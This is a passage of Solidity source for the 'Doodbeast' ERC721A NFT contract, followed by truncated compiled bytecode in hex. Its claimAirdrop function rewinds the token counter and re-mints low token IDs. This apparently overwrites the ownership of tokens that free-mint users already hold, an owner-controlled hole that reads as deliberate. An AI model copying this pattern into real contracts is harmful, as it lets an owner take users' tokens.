quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1 unchecked { _addressData[to].balance += uint128(quantity); _addressData[to].numberMinted += uint128(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe) { require( _checkOnERC721Received(address(0), to, updatedIndex, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } updatedIndex++; } currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved'); require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner'); require(to != address(0), 'ERC721A: transfer to the zero address'); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // currentIndex overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721A: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } contract Doodbeast is ERC721A, Ownable { uint public ownerCounter = 1; uint public ownerAssignments; uint public maxSupply = 5555; uint public price = 0.015 ether; mapping(address => uint) public _airdrops; mapping(address => uint) public _freeTokensMinted; event Reveal (string unrevealedURI, string revealedURI); constructor() ERC721A("Doodbeast", "BEAST") {} function reveal(string memory _revealedURI) external onlyOwner { require(!revealStatus, "Collection already revealed!"); revealedURI = _revealedURI; revealStatus = !revealStatus; emit Reveal(unrevealedURI, revealedURI); } function setPrice(uint _price) external onlyOwner { price = _price; } function claimAirdrop() external { require(_airdrops[msg.sender] > 0, "No tokens to claim!"); uint amount = _airdrops[msg.sender]; uint pastIndex = currentIndex; currentIndex = ownerCounter; _safeMint(msg.sender, amount); currentIndex = pastIndex; ownerCounter += amount; _airdrops[msg.sender] = 0; } function ownerAssignment(address wallet, uint amount) external onlyOwner { require(ownerAssignments + amount <= 55, "Not enough tokens to assign"); _airdrops[wallet] += amount; ownerAssignments += amount; } function freeMint(uint amount) external { require(currentIndex + amount <= 556, "Not enough free tokens available!"); require(amount <= 4, "Not allowed!"); require(_freeTokensMinted[msg.sender] < 4, "Max free tokens already minted!"); _safeMint(msg.sender, amount); _freeTokensMinted[msg.sender] += amount; } function saleMint(uint amount) external payable { require(amount <= 15, "Incorrect amount!"); require(currentIndex > 555, "Free round not finished!"); require(msg.value == amount * price, "Incorrect value!"); require(currentIndex + amount <= maxSupply + 1, "Not enough tokens!"); _safeMint(msg.sender, amount); } function withdraw() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } }
0x6080604052600436106102045760003560e01c80636352211e11610118578063a035b1fe116100a0578063d5abeb011161006f578063d5abeb0114610758578063e97df29714610783578063e985e9c5146107ae578063f2fde38b146107eb578063f7e8d6ea1461081457610204565b8063a035b1fe1461069e578063a22cb465146106c9578063b88d4fde146106f2578063c87b56dd1461071b57610204565b80637c928fe9116100e75780637c928fe9146105da5780638ca887ca146106035780638da5cb5b1461061f57806391b7f5ed1461064a57806395d89b411461067357610204565b80636352211e1461051e5780637035bf181461055b57806370a0823114610586578063715018a6146105c357610204565b806330943fcf1161019b578063454f75321161016a578063454f75321461042757806349506440146104645780634c261247146104a15780634f6ccce7146104ca5780635b88349d1461050757610204565b806330943fcf146103935780633ccfd60b146103be5780633d529db6146103d557806342842e0e146103fe57610204565b806318160ddd116101d757806318160ddd146102d757806323b872dd14610302578063263e4f5e1461032b5780632f745c591461035657610204565b806301ffc9a71461020957806306fdde0314610246578063081812fc14610271578063095ea7b3146102ae575b600080fd5b34801561021557600080fd5b50610230600480360381019061022b9190612fa8565b61083f565b60405161023d9190612ff0565b60405180910390f35b34801561025257600080fd5b5061025b610989565b60405161026891906130a4565b60405180910390f35b34801561027d57600080fd5b50610298600480360381019061029391906130fc565b610a1b565b6040516102a5919061316a565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d091906131b1565b610aa0565b005b3480156102e357600080fd5b506102ec610bb9565b6040516102f99190613200565b60405180910390f35b34801561030e57600080fd5b506103296004803603810190610324919061321b565b610bcf565b005b34801561033757600080fd5b50610340610bdf565b60405161034d9190612ff0565b60405180910390f35b34801561036257600080fd5b5061037d600480360381019061037891906131b1565b610bf2565b60405161038a9190613200565b60405180910390f35b34801561039f57600080fd5b506103a8610de4565b6040516103b59190613200565b60405180910390f35b3480156103ca57600080fd5b506103d3610dea565b005b3480156103e157600080fd5b506103fc60048036038101906103f791906131b1565b610eaf565b005b34801561040a57600080fd5b506104256004803603810190610420919061321b565b610fef565b005b34801561043357600080fd5b5061044e6004803603810190610449919061326e565b61100f565b60405161045b9190613200565b60405180910390f35b34801561047057600080fd5b5061048b6004803603810190610486919061326e565b611027565b6040516104989190613200565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c391906133d0565b61103f565b005b3480156104d657600080fd5b506104f160048036038101906104ec91906130fc565b6111a1565b6040516104fe9190613200565b60405180910390f35b34801561051357600080fd5b5061051c6111f4565b005b34801561052a57600080fd5b50610545600480360381019061054091906130fc565b61133c565b604051610552919061316a565b60405180910390f35b34801561056757600080fd5b50610570611352565b60405161057d91906130a4565b60405180910390f35b34801561059257600080fd5b506105ad60048036038101906105a8919061326e565b61136e565b6040516105ba9190613200565b60405180910390f35b3480156105cf57600080fd5b506105d8611457565b005b3480156105e657600080fd5b5061060160048036038101906105fc91906130fc565b6114df565b005b61061d600480360381019061061891906130fc565b61165a565b005b34801561062b57600080fd5b5061063461179e565b604051610641919061316a565b60405180910390f35b34801561065657600080fd5b50610671600480360381019061066c91906130fc565b6117c8565b005b34801561067f57600080fd5b5061068861184e565b60405161069591906130a4565b60405180910390f35b3480156106aa57600080fd5b506106b36118e0565b6040516106c09190613200565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190613445565b6118e6565b005b3480156106fe57600080fd5b5061071960048036038101906107149190613526565b611a67565b005b34801561072757600080fd5b50610742600480360381019061073d91906130fc565b611ac3565b60405161074f91906130a4565b60405180910390f35b34801561076457600080fd5b5061076d611bde565b60405161077a9190613200565b60405180910390f35b34801561078f57600080fd5b50610798611be4565b6040516107a59190613200565b60405180910390f35b3480156107ba57600080fd5b506107d560048036038101906107d091906135a9565b611bea565b6040516107e29190612ff0565b60405180910390f35b3480156107f757600080fd5b50610812600480360381019061080d919061326e565b611c7e565b005b34801561082057600080fd5b50610829611d76565b60405161083691906130a4565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061090a57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061097257507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610982575061098182611e04565b5b9050919050565b60606001805461099890613618565b80601f01602080910402602001604051908101604052809291908181526020018280546109c490613618565b8015610a115780601f106109e657610100808354040283529160200191610a11565b820191906000526020600020905b8154815290600101906020018083116109f457829003601f168201915b5050505050905090565b6000610a2682611e6e565b610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c906136bc565b60405180910390fd5b6007600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610aab8261133c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b139061374e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b3b611e88565b73ffffffffffffffffffffffffffffffffffffffff161480610b6a5750610b6981610b64611e88565b611bea565b5b610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba0906137e0565b60405180910390fd5b610bb4838383611e90565b505050565b60006001600054610bca919061382f565b905090565b610bda838383611f42565b505050565b600360009054906101000a900460ff1681565b6000610bfd8361136e565b8210610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c35906138d5565b60405180910390fd5b6000610c48610bb9565b905060008060005b83811015610da2576000600560008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610d4257806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d945786841415610d8b578195505050505050610dde565b83806001019450505b508080600101915050610c50565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd590613967565b60405180910390fd5b92915050565b600a5481565b610df2611e88565b73ffffffffffffffffffffffffffffffffffffffff16610e1061179e565b73ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906139d3565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610eac573d6000803e3d6000fd5b50565b610eb7611e88565b73ffffffffffffffffffffffffffffffffffffffff16610ed561179e565b73ffffffffffffffffffffffffffffffffffffffff1614610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f22906139d3565b60405180910390fd5b603781600b54610f3b91906139f3565b1115610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7390613a95565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fcb91906139f3565b9250508190555080600b6000828254610fe491906139f3565b925050819055505050565b61100a83838360405180602001604052806000815250611a67565b505050565b600e6020528060005260406000206000915090505481565b600f6020528060005260406000206000915090505481565b611047611e88565b73ffffffffffffffffffffffffffffffffffffffff1661106561179e565b73ffffffffffffffffffffffffffffffffffffffff16146110bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b2906139d3565b60405180910390fd5b600360009054906101000a900460ff161561110b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110290613b01565b60405180910390fd5b8060049080519060200190611121929190612e5f565b50600360009054906101000a900460ff1615600360006101000a81548160ff0219169083151502179055507f354aad5708d4f0f772c74ac659b608e378eb95c1d608ffbe5703e1dbd40124306040518060600160405280602e8152602001614a63602e91396004604051611196929190613bb6565b60405180910390a150565b60006111ab610bb9565b82106111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390613c5f565b60405180910390fd5b819050919050565b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126d90613ccb565b60405180910390fd5b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600080549050600a546000819055506112d33383612482565b8060008190555081600a60008282546112ec91906139f3565b925050819055506000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000611347826124a0565b600001519050919050565b6040518060600160405280602e8152602001614a63602e913981565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d690613d5d565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b61145f611e88565b73ffffffffffffffffffffffffffffffffffffffff1661147d61179e565b73ffffffffffffffffffffffffffffffffffffffff16146114d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ca906139d3565b60405180910390fd5b6114dd600061263a565b565b61022c816000546114f091906139f3565b1115611531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152890613def565b60405180910390fd5b6004811115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c90613e5b565b60405180910390fd5b6004600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee90613ec7565b60405180910390fd5b6116013382612482565b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461165091906139f3565b9250508190555050565b600f81111561169e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169590613f33565b60405180910390fd5b61022b600054116116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116db90613f9f565b60405180910390fd5b600d54816116f29190613fbf565b3414611733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172a90614065565b60405180910390fd5b6001600c5461174291906139f3565b8160005461175091906139f3565b1115611791576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611788906140d1565b60405180910390fd5b61179b3382612482565b50565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6117d0611e88565b73ffffffffffffffffffffffffffffffffffffffff166117ee61179e565b73ffffffffffffffffffffffffffffffffffffffff1614611844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183b906139d3565b60405180910390fd5b80600d8190555050565b60606002805461185d90613618565b80601f016020809104026020016040519081016040528092919081815260200182805461188990613618565b80156118d65780601f106118ab576101008083540402835291602001916118d6565b820191906000526020600020905b8154815290600101906020018083116118b957829003601f168201915b5050505050905090565b600d5481565b6118ee611e88565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561195c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119539061413d565b60405180910390fd5b8060086000611969611e88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611a16611e88565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611a5b9190612ff0565b60405180910390a35050565b611a72848484611f42565b611a7e84848484612700565b611abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab4906141cf565b60405180910390fd5b50505050565b6060611ace82611e6e565b611b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0490614261565b60405180910390fd5b600360009054906101000a900460ff16611b7f576000611b2b612888565b9050600081511415611b4c5760405180602001604052806000815250611b77565b80611b568461294f565b604051602001611b679291906143a1565b6040516020818303038152906040525b915050611bd9565b6000611b89612888565b9050600081511415611baa5760405180602001604052806000815250611bd5565b80611bb48461294f565b604051602001611bc59291906143a1565b6040516020818303038152906040525b9150505b919050565b600c5481565b600b5481565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611c86611e88565b73ffffffffffffffffffffffffffffffffffffffff16611ca461179e565b73ffffffffffffffffffffffffffffffffffffffff1614611cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf1906139d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190614458565b60405180910390fd5b611d738161263a565b50565b60048054611d8390613618565b80601f0160208091040260200160405190810160405280929190818152602001828054611daf90613618565b8015611dfc5780601f10611dd157610100808354040283529160200191611dfc565b820191906000526020600020905b815481529060010190602001808311611ddf57829003601f168201915b505050505081565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482108015611e81575060008214155b9050919050565b600033905090565b826007600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000611f4d826124a0565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16611f74611e88565b73ffffffffffffffffffffffffffffffffffffffff161480611fd05750611f99611e88565b73ffffffffffffffffffffffffffffffffffffffff16611fb884610a1b565b73ffffffffffffffffffffffffffffffffffffffff16145b80611fec5750611feb8260000151611fe6611e88565b611bea565b5b90508061202e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612025906144ea565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff16146120a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120979061457c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612110576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121079061460e565b60405180910390fd5b61211d8585856001612ab0565b61212d6000848460000151611e90565b6001600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836005600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426005600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166005600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156124125761237181611e6e565b156124115782600001516005600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516005600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461247b8585856001612ab6565b5050505050565b61249c828260405180602001604052806000815250612abc565b5050565b6124a8612ee5565b6124b182611e6e565b6124f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e7906146a0565b60405180910390fd5b60008290505b600081106125f9576000600560008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16146125ea578092505050612635565b508080600190039150506124f6565b506040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262c90614732565b60405180910390fd5b919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006127218473ffffffffffffffffffffffffffffffffffffffff16612ace565b1561287b578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261274a611e88565b8786866040518563ffffffff1660e01b815260040161276c94939291906147a7565b6020604051808303816000875af19250505080156127a857506040513d601f19601f820116820180604052508101906127a59190614808565b60015b61282b573d80600081146127d8576040519150601f19603f3d011682016040523d82523d6000602084013e6127dd565b606091505b50600081511415612823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281a906141cf565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612880565b600190505b949350505050565b6060600360009054906101000a900460ff166128be576040518060600160405280602e8152602001614a63602e9139905061294c565b600480546128cb90613618565b80601f01602080910402602001604051908101604052809291908181526020018280546128f790613618565b80156129445780601f1061291957610100808354040283529160200191612944565b820191906000526020600020905b81548152906001019060200180831161292757829003601f168201915b505050505090505b90565b60606000821415612997576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612aab565b600082905060005b600082146129c95780806129b290614835565b915050600a826129c291906148ad565b915061299f565b60008167ffffffffffffffff8111156129e5576129e46132a5565b5b6040519080825280601f01601f191660200182016040528015612a175781602001600182028036833780820191505090505b5090505b60008514612aa457600182612a30919061382f565b9150600a85612a3f91906148de565b6030612a4b91906139f3565b60f81b818381518110612a6157612a6061490f565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612a9d91906148ad565b9450612a1b565b8093505050505b919050565b50505050565b50505050565b612ac98383836001612ae1565b505050565b600080823b905060008111915050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4e906149b0565b60405180910390fd5b6000841415612b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9290614a42565b60405180910390fd5b612ba86000868387612ab0565b83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846005600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426005600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b85811015612e4257818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a48315612e2d57612ded6000888488612700565b612e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e23906141cf565b60405180910390fd5b5b81806001019250508080600101915050612d76565b508060008190555050612e586000868387612ab6565b5050505050565b828054612e6b90613618565b90600052602060002090601f016020900481019282612e8d5760008555612ed4565b82601f10612ea657805160ff1916838001178555612ed4565b82800160010185558215612ed4579182015b82811115612ed3578251825591602001919060010190612eb8565b5b509050612ee19190612f1f565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b80821115612f38576000816000905550600101612f20565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b612f8581612f50565b8114612f9057600080fd5b50565b600081359050612fa281612f7c565b92915050565b600060208284031215612fbe57612fbd612f46565b5b6000612fcc84828501612f93565b91505092915050565b60008115159050919050565b612fea81612fd5565b82525050565b60006020820190506130056000830184612fe1565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561304557808201518184015260208101905061302a565b83811115613054576000848401525b50505050565b6000601f19601f8301169050919050565b60006130768261300b565b6130808185613016565b9350613090818560208601613027565b6130998161305a565b840191505092915050565b600060208201905081810360008301526130be818461306b565b905092915050565b6000819050919050565b6130d9816130c6565b81146130e457600080fd5b50565b6000813590506130f6816130d0565b92915050565b60006020828403121561311257613111612f46565b5b6000613120848285016130e7565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061315482613129565b9050919050565b61316481613149565b82525050565b600060208201905061317f600083018461315b565b92915050565b61318e81613149565b811461319957600080fd5b50565b6000813590506131ab81613185565b92915050565b600080604083850312156131c8576131c7612f46565b5b60006131d68582860161319c565b92505060206131e7858286016130e7565b9150509250929050565b6131fa816130c6565b82525050565b600060208201905061321560008301846131f1565b92915050565b60008060006060848603121561323457613233612f46565b5b60006132428682870161319c565b93505060206132538682870161319c565b9250506040613264868287016130e7565b9150509250925092565b60006020828403121561328457613283612f46565b5b60006132928482850161319c565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6132dd8261305a565b810181811067ffffffffffffffff821117156132fc576132fb6132a5565b5b80604052505050565b600061330f612f3c565b905061331b82826132d4565b919050565b600067ffffffffffffffff82111561333b5761333a6132a5565b5b6133448261305a565b9050602081019050919050565b82818337600083830152505050565b600061337361336e84613320565b613305565b90508281526020810184848401111561338f5761338e6132a0565b5b61339a848285613351565b509392505050565b600082601f8301126133b7576133b661329b565b5b81356133c7848260208601613360565b91505092915050565b6000602082840312156133e6576133e5612f46565b5b600082013567ffffffffffffffff81111561340457613403612f4b565b5b613410848285016133a2565b91505092915050565b61342281612fd5565b811461342d57600080fd5b50565b60008135905061343f81613419565b92915050565b6000806040838503121561345c5761345b612f46565b5b600061346a8582860161319c565b925050602061347b85828601613430565b9150509250929050565b600067ffffffffffffffff8211156134a05761349f6132a5565b5b6134a98261305a565b9050602081019050919050565b60006134c96134c484613485565b613305565b9050828152602081018484840111156134e5576134e46132a0565b5b6134f0848285613351565b509392505050565b600082601f83011261350d5761350c61329b565b5b813561351d8482602086016134b6565b91505092915050565b600080600080608085870312156135405761353f612f46565b5b600061354e8782880161319c565b945050602061355f8782880161319c565b9350506040613570878288016130e7565b925050606085013567ffffffffffffffff81111561359157613590612f4b565b5b61359d878288016134f8565b91505092959194509250565b600080604083850312156135c0576135bf612f46565b5b60006135ce8582860161319c565b92505060206135df8582860161319c565b9150509250929050565b7f4e487b71000